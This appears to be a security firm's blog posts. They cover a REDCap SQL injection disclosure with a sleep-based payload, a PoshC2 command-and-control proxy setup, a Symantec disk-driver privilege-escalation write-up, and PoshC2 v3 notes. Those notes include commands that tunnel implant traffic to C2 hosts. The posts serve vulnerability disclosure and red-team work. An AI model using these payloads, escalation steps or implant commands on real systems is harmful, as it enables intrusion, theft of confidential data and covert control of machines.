CVE-2017-7351: REDCap 7.0.0 – 7.0.10 SQL Injection

A SQL injection vulnerability exists in REDCap versions 7.0.0 – 7.0.10.  This has been designated CVE-2017-7351.

What is REDCap?

According to https://projectredcap.org, 2018:

“REDCap is a secure web application for building and managing online surveys and databases. While REDCap can be used to collect virtually any type of data (including 21 CFR Part 11, FISMA, and HIPAA-compliant environments), it is specifically geared to support online or offline data capture for research studies and operations.”

Redcap stands for Research Electronic Data CAPture and is used by a large variety of organisations around the world. At the time of writing, their website claims to have 2,669 institutions which collaborate in the development and use of this software.

The vast majority of the user-base for this application appear to be operating within either the Educational or Medical sectors.

What is the vulnerability?

The vulnerability identified allows an attacker to inject code into the main database of the application. This unfiltered communication to the database provides the capability to access and read all information stored within.

Accessing the database does require a valid user account, however a user with any level of privilege can be used in order to carry out the attack.

Why is this bad?

Despite an attacker only being capable of reading the information within the database, this could provide them with the means to escalate privileges within the application by dumping the usernames and password hashes stored within. Should they successfully manage to obtain this data, the attacker only needs to crack the hash in order to receive increased privileges.

In addition to other credentials being enumerable, an attacker would also have raw access to other tables within the database; including those storing the information gathered by the institutions. This could result in unauthorised access of confidential information, potentially resulting in legal ramifications.

How do I fix this?

Fortunately, a mitigation for this vulnerability has already been implemented in version 7.0.11 of REDCap. If your institution is running an outdated version of the software then it is heavily advised that it is patched to the latest available version.

The technical stuff

The file upload handler SendITController:upload on versions 7.0.X through 7.0.10 of REDCap does not perform sufficient sanitization on user input.

This allows an attacker to conduct blind, time-based SQL injection; providing sufficient time is provided, this could result in full enumeration of confidential data including usernames, password hashes, password reset questions and logs.

Exploitation of this vulnerability requires access to a registered account; however, that account requires no special privileges.

This proof of concept causes vulnerable versions of the application to hang for 5 seconds:

route=SendItController:upload' AND SLEEP(5) AND '1'='1

Identification of this vulnerability was performed on version 7.0.5, however REDCap confirmed that the handler was initially implemented in version 7.0.0, with the security mitigations being introduced in version 7.0.11.

Timeline

  • Initial contact: 23/03/2017 @ 11:00 UTC
  • Response from technical team: 26/03/2017 @ 22:00 UTC
  • CVE reservation acquired: 30/03/2017
  • Vulnerability was patched in version 7.0.11
  • Public Disclosure: 08/02/2018

Making PoshC2 More Accessible With a $5 VPS

Users may find it difficult to host a PoshC2 server as it requires a Windows host, either directly connected to the Internet or in a position to be NAT’d through a firewall from an Internet facing C2 proxy. In this short post we’re going to show you how you can solve this problem in under 30 minutes with a $5 VPS.

For this to work you will need to create a small VPS from any provider. In this tutorial we’re going to use Digital Ocean, but feel free to use AWS, Azure, Vultr or one of the other providers out there.

First, start by creating a simple $5 per month  Digital Ocean droplet, using Ubuntu 16.04 or similar. The reason we’re using Ubuntu 16.04 is their tutorial for OpenVPN has been developed on this version, and we want to keep it simple. Once you’ve created the droplet, it should look something like this in your Droplets tab:

The next thing we need to do is get the host updated with the latest security patches, so perform an apt-get update and upgrade.

When you’re all up-to-date, we’ll install Apache2 which will be used as both the native web server and the proxy with which to forward all PoshC2 communication traffic through to your Windows host. It is important to note we only want the communications traffic to be forwarded and no other URLs.

To start this off, install apache as per the instructions below and enable the modules to allow proxying with Apache.

  • apt-get install apache2
  • a2enmod ssl
  • a2enmod rewrite
  • a2enmod proxy
  • a2enmod proxy_http
  • a2enmod headers
  • service apache2 restart

Once the default Apache2 install has completed, we find it easier to completely delete all files in the ‘sites-enabled’ and ‘sites-available’ folders of /etc/apache so that we can start from a fresh config, but this is purely an optional thing so do whatever best suits you and your setup. With one config file, we split out the virtual hosts and have both HTTP (port 80) and HTTPS (port 443) in one place.

The file we’re going to create for this postis called proxy.conf and should be located in the sites-available folder – /etc/apache2/sites-available/proxy.conf

The configuration should look something like the one below. Obviously yours may differ slightly if you decide to use multiple ports or have different virtual hosts with multiple names going through the same Apache server. However, to keep things simple, this is the default configuration without the rewrite rules applied.

Enable this site in Apache2 by either creating a symlink or by running this command:

  • a2ensite proxy.conf

This should then create a symlink in the sites-enabled directory as follows:

  • /etc/apache2/sites-enabled/proxy.conf -> /etc/apache2/sites-available/proxy.conf

Once you’re all done, restart your Apache2 service to ensure you have no errors.

  • service apache2 restart

The next thing you need to do is add your PoshC2 Apache Rewrite rules to the configuration.  This is where it can get quite complex depending on what you want the rules to do. As an example, when performing a Red Team engagement, your C2 infrastructure should be sufficiently locked down and should only allow implants from the correct IP address range of the Customer.

To add whitelisting on the C2 proxy, create a file with all the IP addresses that are known to be the client. There is a slight nuance with Apache as you have to add the list like this ( /etc/apache/whitelist):

Once you have the whitelist, you can use a function in the rewrite rules called RewriteMap to add the IP address list, to then use in the rewrite conditions. Here is a simple Rewrite Rule which will take the list above – if this is not found it will not process the rewrite rule. You have to do this for each rewrite rule you want for each URL. In this case we are applying to the /connect path as this is where the implant gets the stager, but if you customize the PoshC2 URLs then this may be different.

To complete the full Apache config, use the link below as a guide, but note you may need to change this for your PoshC2 setup as you customize the URLs for better evasion. Don’t forget that if you do change your URLs when setting up PoshC2 there is a file called apache2.conf in the root directory which created the rewrite rules for you. This does not add a whitelist but you can do this using the above config.

Now we have the Apache2 web server with our rewrite rules, we need to connect our Windows host to the this VPS using OpenVPN. I’m not going to walk through the exact steps to setup OpenVPN as there is a really good step by step guide which should take no more than around 20-30 minutes to follow and setup:

Once you’ve followed the guide to setup OpenVPN on the host in TUN mode, you can drop your client config onto your windows host. The OpenVPN server.conf configuration should look similar to this. This one is hosted over TCP 53 as we have 443 in use by the Apache Web Server.

Next, following the instruction in the Digital Ocean tutorial, create a client configuration file which matches the server settings and key files you setup and download this to your Windows host. Use the following link to install the Windows client, which should add a small icon to the task bar where you can import your configuration file to and connect.

At this point you should be nearly done. Once you get OpenVPN to successfully connect to the VPS, you can provide the Windows IP address in the Apache2 rewrite rules as the PoshC2 server and it will direct all traffic aimed for PoshC2 directly to the host. Remember that with this setup you will need to provide the external IP address or host name of the VPS as the PoshC2 server as shown in the image below – otherwise the payloads and droppers will be created with the wrong C2 server.

Having this kind of setup makes it extremely easy to deploy PoshC2 and should take no more than around 30 minutes of setup to have things fully weaponised and ready to go. Check out the latest updates for PoshC2 v3 from the blog below which induces a socks proxy (SharpSocks) to allow RDP via a HTTPS beacon.

Symantec Encryption Desktop Local Privilege Escalation – Exploiting an Arbitrary Hard Disk Read/Write Vulnerability Over NTFS

Note: These vulnerabilities remain unpatched at the point of publication.  We have been working with Symantec to try and help them to fix this since our initial private disclosure in July 2017 (full timeline at the end of this article), however no patch has yet been released.  Consequently, we are at the point of publishing the findings publicly.  We will continue to work with Symantec to help them to produce an effective patch.  CVE numbers to follow.

In this article we discuss various approaches to exploiting a vulnerability in a kernel driver, PGPwded.sys, which is part of Symantec Encryption Desktop [1]. These vulnerabilities allow an attacker to attain arbitrary hard disk read and write access at sector level, and subsequently infect the target and gain low level persistence (MBR/VBR). They also allow the attacker to execute code in the context of the built-in SYSTEM user account, without requiring a reboot.

Since many of the exploitation techniques that we come across rely on memory corruption, we thought that demonstrating exploitation of this type of flaw would be interesting and informative.

We will provide a short overview of the discovery and nature of the vulnerability. We will then discuss how access control to file and directory objects is enforced by NTFS, attack methods, problems, possible solutions to complete the exploit, and their limitations.

But first, here is a video demonstration of the vulnerability being exploited in the latest Windows 10 v1709 64-bit.

Affected products

  • Symantec Encryption Desktop suite version 10.4.1 MP2HF1 (Build 777) and earlier.
    • Module: PGPwded.sys v10.4.1 (Build 774)
  • Symantec Endpoint Encryption version v11.1.3 MP1 (Build 810) and earlier.
    • Module: eedDiskEncryptionDriver.sys v11.1.3 (Build 810)

Vulnerability discovery

Before discussing the two interesting input/output control requests (IOCTLs) and some associated code snippets, we need to focus on the practice that ultimately allows any user to take advantage of the disk read/write capabilities of the kernel driver under examination.

While we were going through the exposed named device objects by the kernel drivers installed, we noticed something interesting. To start with, by using DeviceTree by OSR [2], we could see that PGPwded.sys exposed a device object named PGPwdef.

According to its security attributes, all users should be able to access that object.

However, by using WinObj from Sysinternals [3], even with full administrative privileges, we were immediately receiving an access denied error. In other words, even an administrator was blocked from accessing that device object. That was interesting enough by itself to make us start digging a bit deeper.

Before opening Windbg, we decided to perform a fast check over all running processes, in order to find out if at that point there was any process with an open handle to that device object. The results of that check were even more interesting. In fact, there was a process called PGPtray.exe that had an open handle to the aforementioned device object. That process was running with Medium Integrity Level [4], though.

Our attempts to access that device object were blocked, even with full administrative privileges (High Integrity Level), but at the same time a process running with medium integrity had managed to obtain a handle with Read/Write access, and thus it was able to send I/O requests to the driver under examination.

It was about time to bring in Windbg and start examining that kernel driver further.

Our first target was the function that handles the IRP_MJ_CREATE [5] request, because that IRP is normally sent when attempting to access a named device object via the  CreateFile function.

Shortly after we started stepping through the code, we found the check that was blocking our attempts to access that device object.

So let’s see what those two unicode strings are all about…

In other words, if the application that attempts to access that device object resides in the installation directory (the first one) then access is granted. Otherwise, access is denied. Of course, that directory is only writable by administrators.

However, there is nothing that stops us from either injecting code into another process of an executable that is already placed there, such as PGPtray.exe, or just starting a new process of one of the executables installed there by default, and inject our DLL module which will run the exploit code.

At this point, we had managed to start interacting with this driver of the target application and we just had to start digging deeper.

The fact that the developers of this application had tried to block access to that device object, albeit in an ineffective manner, made the associated driver immediately a lot more attractive.

Getting raw read/write access to the hard disk

With the assumption that this driver might have some interesting functionality that a normal user shouldn’t be allowed to access, we started looking at the various IOCTL handlers.

The first interesting IOCTL code was 0x8002206C, which allowed us to obtain raw read access to the hard disk. This by itself can have an interesting impact in the context of security, as it allows a user to access data that they normally wouldn’t be allowed to. In other words, a standard user could use that IOCTL to read the contents of a file that they normally cannot access, or obtain other sensitive data from portions of kernel memory that have been paged out.

The second interesting and even more dangerous IOCTL code was 0x80022070, which allowed us to perform arbitrary raw writes on the hard disk. This, of course, has an even more serious impact.

Combined, these two IOCTLs permit the attacker to parse and modify data at will.  The impact ranges from abusing the MBR [6] to install a bootkit, to destroying and/or altering data, and finally – as we are about to demonstrate – to elevating privileges on runtime and executing code as the SYSTEM user account.

In order to read and write to the hard disk, the driver calls the following two functions in the same order:

  1. nt!IoBuildSynchronousFsdRequest
  2. nt!IofCallDriver

The following two images show the read and write operations respectively.

The StartingOffset parameter is a pointer to a LARGE_INTEGER structure (this provides a 64-bit signed integer) that specifies the starting disk offset for the read/write operations.

In both cases, all the parameters are fully controlled by the user. This means that we can access any offset of the disk and read/write arbitrary data at will. The Length parameter must be a multiple of the size of the sector of the disk we interact with.

At this point we knew we had full access to the main hard disk, so we had to do something meaningful with it.

Of course, obtaining disk access at that level opens many doors for attacking the affected host, but since we wanted something with immediate effect, without requiring a reboot of the system, we went for the privilege escalation on run-time attack vector.

In this case, we can’t manipulate any objects or data in memory, but we can do so for anything on disk, and for that reason the idea was to manipulate a file or a directory in a way that will allow us to perform some actions that will result to privilege escalation.

NTFS – objects security model

We will now provide a high level overview of how NTFS object security is enforced in order to assist the reader with understanding the concepts upon which our exploitation approaches were based.

In earlier versions of NTFS, and more specifically from version 1.2, each  file record entry of the Master File Table (MFT) [7], or in other words each file (directories are stored as file record entries as well), had its own copy of the $SECURITY_DESCRIPTOR  attribute [8] which contained the access control list (ACL) that is required in order to enforce the security permissions for each object.

Recent versions of NTFS, version 3.0 upwards, make use of a metadata file called $Secure (MFT Record number 9) [9] which has a named data stream called Security Descriptor Stream ($SDS) that contains a list of all the security descriptors on the volume with the associated ACL.

That being said, each file no longer has its own $SECURITY_DESCRIPTOR attribute. Instead, security descriptors are shared among files that require the same access permissions.

In other words, each MFT file record references a Security Id through its $STANDARD_INFORMATION attribute [10]. That Security Id is a unique ‘key’ reference to another table, the Security Id Index ($SII), of which the corresponding entry contains information for the associated Security Descriptor entry in the $SDS.

By using the Security Id to locate the associated entry in the $SII, the filesystem can then locate the correct Security Descriptor in the $SDS by extracting its relative offset in that data stream from the $SII entry, and perform the security check.

Since many files in a system require the same access permissions, it is more efficient to have a unique copy of a Security Descriptor for each group of files that have the same security enforcement requirements.

When a new file or folder is created, a 32-bit hash of the required Security Descriptor is calculated and is used as an index for another table called Security Descriptor Hash index which, similarly to the $SII, is used to map those hashes instead to security descriptors in the $SDS stream. If a match is found, which means that there is already a Security Descriptor that satisfies the security requirements for the new object, then the Security Id is extracted and stored in the $STANDARD_INFORMATION attribute of the corresponding MFT record.

On the other hand, if a matching Security Descriptor does not exist, then a unique Security Id will be assigned and new entries will be added to the $SDS stream, and the $SII and $SDH tables.

Note that, during the aforementioned checks, both the 32-bit hash and the security descriptors have to match in order to use the same Security Id for the new file as well. This is done in order to avoid collisions where different security descriptors could result in the same 32-bit hash identifier.

A closer look at a $Secure file

In this section we will examine an instance of a $Secure file in order to manually look up the information that we mentioned in the previous section.

Each MFT Record contains a set of attributes and each one of those provides information about the associated file on disk. Here we provide some information about a few of those.

For example, the $STANDARD_INFORMATION (0x10) attribute provides information about file creation, modification, access times, Security Id etc.

On the other hand, the  $FILE_NAME (0x30) attribute [11] provides information about the parent directory, file flags (directory, hidden, read-only etc…), filename length, filename namespace, file name in Unicode, etc.

In addition, the $DATA (0x80) attribute [12] contains the data of the file or information on where to find the data of the file if it doesn’t fit inside the MFT record itself, as usually happens.

Another example of an attribute that we are about to meet is the $INDEX_ALLOCATION (0xA0) [13] which provides information about the storage location of an index table, such as the $SII and $SDH tables that we mentioned earlier.

In the following image we have highlighted some interesting parts of the MFT record under examination.

Apart from the highlighted areas related to Data Runs [14] which are part of a different attribute in each case and the Security Id that belongs to the $STANDARD_INFORMATION attribute, you’ll notice that the first 4 bytes ( DWORD) represent the id of an attribute, while the second DWORD refers to the size of the attribute, including its header.

In order to understand how to find the associated data, we need to explain how Data Runs are interpreted.

The low nibble of the first byte refers to the number of bytes used to represent the amount of clusters reserved for this run of data. The high nibble refers to the number of bytes used to represent the cluster number where the associated data starts from, passed the number of bytes previously discussed.

Example for $SDS Data Run: 0x31 0x46 0xC1 0xBB 0x0B

  • 0x31
    • 1 byte to represent amount of clusters – 0x46 clusters reserved
    • 3 bytes to represent the cluster number – 0xBBBC1

In our case, each cluster consists of 8 sectors, and each sector occupies 0x200 (512) bytes. This information is taken from the BIOS parameter block (BPB) of the boot sector of the volume [15].

Furthermore, in this example we see only one data run sequence. If there were more, because the data might be fragmented, then the rules change a bit in order to find the next data sequence. In practice, the next sequence, instead of having the starting cluster number, would have an offset (signed number) relative to the previous run, and so on.

Also, note that since the vulnerability gives raw access to the hard disk, it means that in our calculations for the exploit we also need to take into consideration the space between the very first sector of the disk and the boot sector of the partition of the running instance of the OS.

In this case the boot sector is located at offset 0x100000. So, whatever calculations we do, we need to add that number in order to get the raw offset of the data on disk.

Offset of the $SDS data = (0xBBBC1 * 8 * 0x200) + 0x100000 = 0xBBCC1000.

Decoding a security descriptor

In the image above we show the first two security descriptors. Keep in mind that these are always 16 bytes aligned. So, even though the first Security Descriptor [16] reports to be 0x78 bytes long, the next one starts at relative offset 0x80 ( 0xBBCC1080).

Let’s decode the first one in order to understand their layout.

Header

  • Security Descriptor’s Hash: 0xCBC6FE32
  • Security Id: 0x100
  • Security Descriptor’s offset in the SDS stream: 0x00
  • Size of Security Descriptor: 0x78
  • Revision: 0x01
  • Padding: 0x00
  • ACL control flags: 0x8004
  • Offset to User SID: 0x48
  • Offet to Group SID: 0x54
  • Offset to SACL: 0x00 (not present)
  • Offset to DACL: 0x14

ACL

  • Revision: 0x02
  • Padding: 0x00
  • ACL size: 0x34
  • ACE count: 0x02
  • Padding: 0x00

ACE #1

  • ACE Access Allowed type: 0x00
  • ACE Flags: 0x00
  • ACE Size: 0x14
  • Access Mask: 0x00120089
  • SID: S-1-5-18

ACE #2

  • ACE Access Allowed type: 0x00
  • ACE Flags: 0x00
  • ACE Size: 0x18
  • Access Mask: 0x00120089
  • SID: S-1-5-32-544

User SID

S-1-5-18

Group SID

S-1-5-32-544

From Security Id to Security Descriptor

In this section we will locate the Security Descriptor that is associated with the Security Id of an MFT file record by using the $INDEX_ALLOCATION attribute corresponding to the $SII.

We can use the MFT entry for the $Secure file as shown in the image above.

The Security Id in this case is 0x101, and the data runs correspond to the sequence: 0x41 0x02 0x41 0xC9 0x30 0x01.

In other words, we have two clusters reserved starting at cluster 0x130C941.

Disk offset of the $SII table = (0x130C941 * 8 * 0x200) + 0x100000 = 0x130CA41000


We can see the corresponding entry for this Security Id, which gives us the offset ( 0x80) of the Security Descriptor inside the $SDS stream. In this case it’s the second entry. Notice also that the hash of the Security Descriptor taken from the $SII entry matches the hash in the $SDS entry.

Exploitation approaches

Approach A

Search the disk for a registry key associated with a service that we can start as a standard user and point it to our own binary by directly modifying the data.

This was our first approach. It looked quite straight forward, although it could take several seconds to locate the correct data on disk. It seems that registry hives are cached and for a non-admin user, this is a problem. We didn’t find a straight forward way to flush the cache without doing some really resource-intensive stuff that would normally result in freezing the host for several seconds. This method worked well from any user account level, but it required a reboot of the host.

Approach B

Parse the $SDS stream, find all interesting Security Descriptors and modify them to give full access to everyone on the protected file objects.

However, caching kicks in again. According to Windows Internals, the 32 most recently accessed Security Descriptors are cached. Now, by remembering the fact that these are shared among files with the same security access requirements and that the OS by itself keeps accessing interesting files in Windows and System32 directories, this failed again to work on run-time. However, as in the previous case, it worked perfectly after reboot.

Approach C

Instead of trying to corrupt Security Descriptors, locate the MFT record of the target binary, such as a Service DLL, and change the Security Id to a new one. This is also the method we used in our exploit.

However, there are a few details to take care of.

First, we need to know which Security Id to use to replace the original one. Of course, we need one that corresponds to a Security Descriptor that allows us to do whatever we want.

We can solve this problem by creating a new file and setting up a custom Security Descriptor for it, which will cause the system to either create a new Security Id for it, or assign an existing one that corresponds to a Security Descriptor that allows us to have full access to that object. We can then do a quick search for our file per MFT record, extract the Security Id and use it to replace the one of an interesting binary.

This approach worked quite well, giving us the ability to overwrite a system service DLL and elevate our privileges on run-time.

We noticed that this method doesn’t have an immediate effect for any system binary. For example, if we attempt to do this for a binary in use, again the security settings will not change until reboot. However, there are plenty of options and we did find various DLLs that we could use for privilege escalation. These were DLLs that were not loaded or recently accessed by another process.

Finally, another important detail that we need to address is to ensure that the MFT record of a file with the same name it actually corresponds to the file we are targeting.

In other words, only taking into consideration the file name entry of the  $FILE_NAME (0x30) attribute is not enough for the obvious reason that we might be looking into the wrong file.

For example, in 64-bit Windows it is common to have duplicates of the same system files in the  System32 and SysWOW64 directories, with those in the latter being the 32-bit builds that we are not interested in.

To solve this problem, we can take into consideration the reference to the MFT record of the parent directory, again through the $FILE_NAME (0x30) attribute, and parse the tree backwards to the MFT record of the root directory named as . (dot).

In other words, we know that if it’s the right target file, then the first parent directory reference (going backwards) is System32, the following is Windows, and the third and final is a reference to the MFT record of the root directory, which by default corresponds to the MFT record number 5 [17].

Approach D

Since you managed to arrive at this point we would like to share another experimental idea with you, which we haven’t tried.

The concept behind this one is around allocating some kernel paged pool objects, waiting for them to be paged out, and then corrupting them on disk before attempting to re-use them from the exploit process.

This might not be even possible, or at least practical, but if you are adventurous enough to try this out, please do let us know if you get any interesting results.

Exploitation Steps

So, let’s sum up the various stages of the exploit by using the third method as described above.

  1. Locate Boot Sector and read physical parameters of the volume from BPB.
  2. Create a new file with a custom Security Descriptor.
  3. Search the disk for our file using information from step 1 and extract the Security Id from the  MFT record that corresponds to the file that we created in step 2.
  4. Search the disk for the target binary file to overwrite and replace the Security Id in its MFT record.
  5. Save its original contents and overwrite or patch the binary with our code.
  6. Trigger the system Service/Task to elevate privileges.
  7. Restore original binary.
  8. w00t!

Limitations

If the disk is fully encrypted, then by attempting to perform raw disk access we will just read back encrypted data that will make no sense. That being said, the File Share Encryption and Desktop Email Encryption products of the Symantec Encryption Desktop suite are the main targets of this vulnerability for direct privilege escalation, without requiring a reboot.

Regarding the case of Symantec Endpoint Encryption, the driver is still affected by the same security issue, but it does not allow the attacker to set arbitrary disk offset to read/write from. The offset has to be in the range of the first two disk sectors with regards to IOCTLs 0x8002206C and 0x80022070. However, we can still control the size of the data and so it can potentially be abused in the same way. By digging a bit further, we also discovered that IOCTL 0x8002208C for the same driver would allow us to perform fully controlled read operations starting from any disk offset. However, since this product is used to fully encrypt the disk, we would still read junk data if we tried to to access the disk in that way to read arbitrary data.

What is important to mention is that for all the aforementioned products, the vulnerability allows the attacker to perform further low level attacks on the disk, such as modifying the MBR, which is not encrypted, and can be used to install a bootkit and thus become abused by an APT that will be then able to execute itself with highest privileges, or a Ransomware threat (Petya) [18] as we have seen happening a lot recently.

Of course, destroying data is also an attack scenario, and it’s possible both with encryption being present or not.

Conclusion

Exploiting a vulnerability that is different from a memory corruption bug was a really interesting journey. One of the most interesting parts of this process was trying to trick and bypass the caching behavior that caused our first exploitation methods to fail on runtime.

At one point we actually thought that we had to stick with rebooting the host to complete the exploitation process, but then the idea of modifying the Security Id of a target MFT record came up and we managed to win this battle.

If you have more ideas about exploiting this or similar vulnerabilities on run-time and/or in other ways, then please share them with the community and let us know your thoughts.

Disclosure Timeline (DD/MM/YYYY)

  • Vendor contacted – 12/07/2017
  • Vendor assigned a Tracking ID – 12/07/2017
  • Asked vendor for patch release confirmation – 11/10/2017
  • Vendor replied all issues under same Tracking ID are fixed – 11/10/2017
  • Contacted vendor to report the vulnerability is still there in the latest version – 11/10/2017
  • Vendor sent new builds that include latest hotfixes for various issues – 12/10/2017
  • Vendor reported the vulnerability is still not fixed and postponed – 12/10/2017
  • Contacted vendor to confirm that the vulnerability is still not fixed – 13/10/2017
  • Public Disclosure – 28/11/2017

References

1. https://www.symantec.com/products/desktop-email-encryption
2. https://www.osronline.com/article.cfm?article=97
3. https://docs.microsoft.com/en-us/sysinternals/downloads/winobj
4. https://msdn.microsoft.com/en-us/library/bb625963.aspx
5. https://msdn.microsoft.com/en-us/library/windows/hardware/ff548630(v=vs.85).aspx
6. http://www.dewassoc.com/kbase/hard_drives/master_boot_record.htm
7. http://www.c-jump.com/bcc/t256t/Week04NtfsReview/Week04NtfsReview.html#W01_0150_master_file_table
8. http://www.c-jump.com/bcc/t256t/Week04NtfsReview/Week04NtfsReview.html#W01_0380_the_securitydescrip
9. http://www.c-jump.com/bcc/t256t/Week04NtfsReview/Week04NtfsReview.html#W01_0630_the_secure
10. http://www.c-jump.com/bcc/t256t/Week04NtfsReview/Week04NtfsReview.html#W01_0320_the_standardinforma
11. http://www.c-jump.com/bcc/t256t/Week04NtfsReview/Week04NtfsReview.html#W01_0360_the_filename_attrib
12. http://www.c-jump.com/bcc/t256t/Week04NtfsReview/Week04NtfsReview.html#W01_0410_the_data_attribute
13. http://www.c-jump.com/bcc/t256t/Week04NtfsReview/Week04NtfsReview.html#W01_0440_the_indexallocation
14. http://www.c-jump.com/bcc/t256t/Week04NtfsReview/Week04NtfsReview.html#W01_0420_runlists
15. http://www.ntfs.com/ntfs-partition-boot-sector.htm
16. http://www.ntfs.com/ntfs-permissions-security-descriptor.htm
17. http://www.ntfs.com/ntfs-system-files.htm
18. https://www.us-cert.gov/ncas/alerts/TA17-181A

PoshC2 v3 with SOCKS Proxy (SharpSocks)

OVERVIEW

We’ve been working on quite a few changes since the release of PoshC2 v2, our public Command & Control framework, back in December 2016. In this blog we’ll talk about the top changes and feature improvements. If you want to view all the changes, we’ve now added a CHANGELOG.md to the repository.

Some headline features are:

  • C# reverse HTTPS tunnelling SOCKS proxy (SharpSocks)
  • Daisy implant now supports multi layered pivoting (no limit on hops)
  • Domain fronting for C2 comms
  • C++ reflective DLL, utilising UnmanagedPowershell and PoshC2’s Custom EXE
  • Shellcode generator, utilising @monoxgas‘s new sRDI tool we can generate shellcode on the fly from the Reflective DLL created in C++
  • Stable migration utilising Inject-Shellcode which uses our newly created shellcode
  • New AutoRuns that allow the user to create commands that run when a new implant is initiated
  • Pre/Post Implant Help – The Implant-Handler window now has a pre and post help menu which allows you to do various tasks when you have no implant, such as autoruns
  • A new port scanner module

Changelog:

SHARPSOCKS

One of the most important tools for a red teamer is the SOCKS Proxy. This enables the creation of a tunnel between two machines such that any network traffic forwarded through it appears to have originated from the machine at the end of it. Once a foothold has been gained on a machine, a SOCKS proxy can be deployed between the operators machines and the target in order to access subnets, machines and services that would not normally be directly accessible. This includes being able to RDP to another machine or even to browse the corporate intranet.

SOCKS support is built into most modern browsers and cURL. However, to use tools like rdesktop or nmap, proxychains on Linux can be used to tunnel the traffic. In order to simulate ProxyChains when using Windows, software such as ProxyCap (http://www.proxycap.com/) can be used.

Previously, if tools like PoshC2 or Empire were used to gain a foothold and SOCKS is required then another implant, such as Meterpreter, would have to be deployed in order to provide the ability to tunnel TCP traffic into the internal network. We arrived at the decision that deploying a full implant just for SOCKS support is overkill and while e.g. Meterpreter is very good, it is also can be noisy and is not an appropriate representation of most sophisticated threat actors TTPs. Since PoshC2 is our publicly available C2, we wanted to add this ability for the wider world too, just like we have in our internal tooling.

When started, the implant will connect back via an HTTP request to the specified host. This is known as the command channel.  By default (and this timing can be changed via the --beacon flag in the implant) the server will be contacted every 5 seconds to check if there are any connections that need to be opened or closed on the implant side. Once the command channel has successfully connected for the first time, the SOCKS listener port is opened on the server; this port is what proxychains or proxycap should be configured to connect to.

Once this has started you can then start your web browser or RDP etc. and connect to the internal network. Every time the browser etc. opens a connection to the SOCKS port, a job is queued for the command channel and the implant on the default 5 second timer will connect up check to see if there any new connections that need to be made or closed. If one does need to be opened, this will be then be assigned its own session identifier and traffic will flow and be tunnelled over HTTP/S on separate requests.

A typical usage scenario is shown in the diagram above. A foothold has been gained on a machine with internet access, but only via HTTP/S, and RDP needs to be used to access the RDP Host (credentials for this box have, of course, been obtained). The SharpSocks server is started and so is the implant. Proxychains is then configured by the operator to point to the SOCKS port. Rdesktop is then started and traffic is tunnelled via HTTPS to the implant host, where the connection is then made to the RDP host.

Design Goals

The project originated as a way to provide SOCKS proxy functionality to Nettitude’s PoshC2 project.  The design goals were as follows:

  • Ability to operate as part of another implant or its own separate instance
  • Communication over HTTP/S
  • Minimal CPU/memory load on implanted machine
  • Encrypted transport
  • Configurable locations within a HTTP request for the payload
  • Proxy aware
  • IPv6 support
  • Ease of integration into other projects
  • Easing overriding functionality by a consumer such as encryption or transport method

Usage

The best usage experience for this currently is via PoshC2.

SharpSocks, written by Rob Maslen (@rbmaslen), utilises a C# AssemblyLoad to run a socks4a proxy on the implant, calling back to a server which can be either located on the same PoshC2 instance or on a different host. The most convenient way to deploy this is via the same PoshC2 host, but on a separate port. The comms can be split via the Apache Rewrite rules if you’re using a C2 proxy on the Internet. It may also be a good idea to use a separate host for this traffic as you may have to speed up comms to 1 or 2 second beacons and therefore utilise a separate proxy host, but they can all point back to the same PoshC2 instance in the back end.

The comms URLs for both PoshC2 and SharpSocks can now be fully customised when first setting the server up. These can then be added to an apache.conf file located in the root of the PoshC2 folder.

A sample set of Apache Rules are below:

To deploy SharpSocks all you need to do is run the following command from within a live implant. This will create a new encryption key and subsequent channel and start both the implant and SharpSocks server for you:

SharpSocks -Uri https://www.c2.com:443 -Beacon 2000 -Insecure

Here is a simple video that shows this being used:

This can be used as a standalone program outside of PoshC2 too. The code and PowerShell script can be found below:

The next few sections walk you through using SharpSocks in a standalone manner.

There are two Visual Studio Solutions which build both the server and the implant. These are both built initially as DLL’s, however the solutions also contain projects for executables that wrap the DLLs and allow for testing of the functionality. These exe’s are not designed to be deployed in a production scenario.

The DLLs are designed to be either launched via the test executables or via the helper functions within the DLLs themselves, enabling other usage via other projects/languages. Also included within the binaries directory is also the PowerShell script that is used by PoshC2.

Server App (SharpSocksServerTestApp)

Running the server binary with the --help flag, the following options are listed. In order to launch, the only value that is required is the encryption key.  This should be supplied in Base64; the default algorithm is AES-256.

An example of this running would be the following

This will start the HTTPS server (HTTPS requires that a certificate is installed via netsh) listening on https://c2proxy.on.the.internet. The communications are encrypted via the key NqeEk7h4pe7cJ6YGB/4q3jHZ5kp64xsghwNwjYUFD0g=, the command channel is identified by bc448036-f957-45d9-b0e7-997b4121034f. The session identifier would be transmitted via the ASP.NET_SessionId cookie and smaller payloads via the __RequestVerificationToken cookie.

Server DLL (SharpSocksServerDLL)

Within the SharpSocksServer.dll is a class called SharpSocksServer.Source.Integration.PSSocksServer which contains a single method called CreateSocksController. This method is designed as a static helper to easily enable the creation and starting of the SharpSocksServer. In order to be used, the DLL/Assembly will first need to be loaded the CreateSocksController method called and then the Start method called on the value returned. For usage of this it’s best to look in the PowerShell script included with this project.

Implant Test App (SharpSocksImplantTestApp)

An example:

This will start the implant which will attempt to connect to https://c2proxy.on.the.internet using the system proxy settings. The communications are encrypted via the key NqeEk7h4pe7cJ6YGB/4q3jHZ5kp64xsghwNwjYUFD0g=, the command channel is identified by bc448036-f957-45d9-b0e7-997b4121034f. The session identifier would be transmitted via the ASP.NET_SessionId cookie and smaller payloads via the __RequestVerificationToken cookie. The command channel will attempt to connect every 7.5 seconds to the SharpSocks server.

Implant DLL (SharpSocksImplant.dll)

Within the SharpSocksImplant.dll is a class called SocksProxy.Classes.Integration.PoshCreateProxy which contains a single method called CreateSocksController. This method is designed as a static helper to easily enable the creation and starting of the implant. In order to be used, the DLL/Assembly will first need to be loaded the CreateSocksController method called and then the Start method called on the value returned. As with the SharpSocks Server, as an example of usage of this it’s best to look in the PowerShell script included with this project.

DAISYIMPLANT – PIVOTING IN POSHC2

To enable multi-layered pivoting in PoshC2 we have created a module called Invoke-DaisyChain. This must be run as an administrator on a compromised host within the compromised network. This will essentially create an HTTP proxy server running on the host to transport PoshC2 comms traffic from the internal network out to the PoshC2 instance instead of going direct with CreateProxyPayload.

To start the DaisyChain server, simply run this command with your C2 configuration. Proxy settings are optional as is the domain fronting URL:

Invoke-DaisyChain -name jason -daisyserver http://192.168.1.1 -port 9999 -c2port 443 -c2server https://www.c2domain.com -domfront aaa.cloudfront.net -proxyurl http://10.0.0.1:8080 -proxyuser dom\test -proxypassword pass

